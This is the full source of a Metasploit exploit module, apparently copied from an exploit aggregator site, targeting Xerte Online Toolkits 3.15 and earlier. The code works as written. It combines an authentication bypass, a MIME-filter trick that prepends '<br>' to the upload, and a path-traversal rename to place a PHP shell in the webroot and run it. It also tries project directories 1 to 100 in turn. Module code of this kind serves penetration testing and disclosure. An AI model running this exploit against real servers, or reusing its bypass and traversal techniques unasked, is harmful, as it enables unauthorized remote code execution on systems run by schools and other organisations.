Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-XERTE_UNAUTHENTICATED_MEDIAUPLOAD-
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Media Upload',
'Description' => %q{
This module bypasses authentication failure, extension blacklist,
and path traversal vulnerabilities in the /editor/elfinder/php/connector.php
endpoint to upload and execute a shell in Xerte Online Toolkits
versions 3.15 (commit 4e40f8030a2e3267267db7ce03e0ff57270be6f5 as
there's no patch versions used) and earlier.
},
'Author' => [
'bootstrapbool <bootstrapbool[at]gmail.com>', # Vulnerability Disclosure / Metasploit Module
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Privileged' => false,
'Targets' => [
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultTarget' => 0,
'References' => [
['CVE', '2026-34413'],
['CVE', '2026-34414'],
['CVE', '2026-34415'],
['CVE', '2026-41459'],
[
'URL', # Python Exploit
'https://github.com/bootstrapbool/xerteonlinetoolkits-rce'
],
],
'DisclosureDate' => '2026-04-22',
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [
false,
'Valid username. If Guest authentication is enabled, a username should NOT be provided.'
]),
OptString.new('WEBROOT', [false, 'The full filepath to the local webroot. Ex: /var/www/html/']),
OptString.new('TARGETURI', [true, 'The Xerte base path.']),
]
)
end
def get_webroot
uri = normalize_uri(target_uri.path, 'setup/')
vprint_status("Attempting to retrieve webroot from #{uri}")
res = send_request_cgi('uri' => uri)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Failed to connect to /setup. It was likely removed by an administrator after installation.')
end
res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence
end
def get_elfinder_id(name, volume_id = 'l1')
encoded_name = Rex::Text.encode_base64(name)
relative_id = encoded_name.gsub(/=+$/, '')
"#{volume_id}_#{relative_id}"
end
def create_dir(connector_uri, params, dirname, root_dir_id)
dir_id = get_elfinder_id(dirname)
create_dir_params = params.merge(
'cmd' => 'mkdir',
'name' => dirname,
'target' => root_dir_id
)
res = send_request_cgi({
'uri' => connector_uri,
'vars_get' => create_dir_params
})
unless res && res.code == 302
fail_with(Failure::UnexpectedReply, 'Failed to create directory')
end
return dir_id
end
def upload_file(connector_uri, params, filename, dir_id, payload)
data = {
'cmd' => 'upload',
'target' => dir_id
}
mime = Rex::MIME::Message.new
data.each_pair do |key, value|
mime.add_part(value, nil, nil, "form-data; name=\"#{key}\"")
end
mime.add_part(
'<br>' + payload, # The <br> tag bypasses the mime filter
'text/plain',
nil,
"form-data; name=\"upload[]\"; filename=\"#{filename}\""
)
res = send_request_cgi(
'method' => 'POST',
'uri' => connector_uri,
'vars_get' => params,
'vars_post' => data,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
unless res && res.code == 302
fail_with(Failure::UnexpectedReply, 'Failed to upload file')
end
return get_elfinder_id(filename)
end
def rename_file(connector_uri, params, shellname, dirname, file_id)
rename_file_params = params.merge(
'cmd' => 'rename',
'target' => file_id,
'name' => "#{dirname}/../../../../#{shellname}"
)
res = send_request_cgi({
'uri' => connector_uri,
'vars_get' => rename_file_params
})
unless res && res.code == 302
fail_with(Failure::UnexpectedReply, 'Failed to rename file')
end
end
def exploit
success = false
connector_uri = normalize_uri(
target_uri.path,
'/editor/elfinder/php/connector.php'
)
if datastore['WEBROOT'].nil?
webroot = get_webroot
else
webroot = datastore['WEBROOT']
end
webroot = webroot[-1] == '/' ? webroot[0..-2] : webroot
vprint_status("Application Root: #{webroot}")
# The root dir id is always l1_Lw regardless of authentication scheme, user, or project
root_dir_id = 'l1_Lw'
dirname = Rex::Text.rand_text_alpha(8)
filename = dirname + '.txt'
shellname = dirname + '.php4'
# The --Nottingham suffix is non configurable - it's used in all Xerte installations
if datastore['USERNAME'].nil? # Assumes Anonymous authentication enabled (Default Xerte configuration)
user_dir = '--Nottingham/' # Anonymous authentication uses {project_id}--Nottingham scheme for all user directories
else
user_dir = "-#{datastore['USERNAME']}-Nottingham/"
end
(1..100).each do |x|
project_dir = "/USER-FILES/#{x}#{user_dir}"
vprint_status("Attempting #{webroot}#{project_dir}")
project_dir_uri = normalize_uri(target_uri.path, project_dir)
base_params = {
'uploadDir' => "#{webroot}#{project_dir}",
'uploadURL' => full_uri(project_dir_uri).to_s
}
create_dir(connector_uri, base_params, dirname, root_dir_id)
file_id = upload_file(
connector_uri,
base_params,
filename,
root_dir_id,
payload.encoded
)
rename_file(connector_uri, base_params, shellname, dirname, file_id)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, shellname)
})
next if res && res.code == 404
success = true
vprint_status("Successfully uploaded shell through #{project_dir}")
register_dir_for_cleanup("#{base_params['uploadDir']}#{dirname}")
register_file_for_cleanup("#{base_params['uploadDir']}#{filename}")
register_file_for_cleanup("#{webroot}/#{shellname}")
break
end
if !success
fail_with(Failure::NotFound, 'Exploit failed. The target user likely has no projects.')
end
end
def check
uri = normalize_uri(target_uri.path, 'setup/')
vprint_status("Attempting to retrieve webroot from #{uri}")
res = send_request_cgi('uri' => uri)
if res.nil? || res && res.code != 200
return Exploit::CheckCode::Unknown('Failed to connect to /setup. It was likely removed by an administrator after installation.')
end
webroot = res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence
# /setup only outputs the app root in vulnerable versions of xerte
if webroot.nil?
return Exploit::CheckCode::Unknown
else
return Exploit::CheckCode::Appears
end
end
end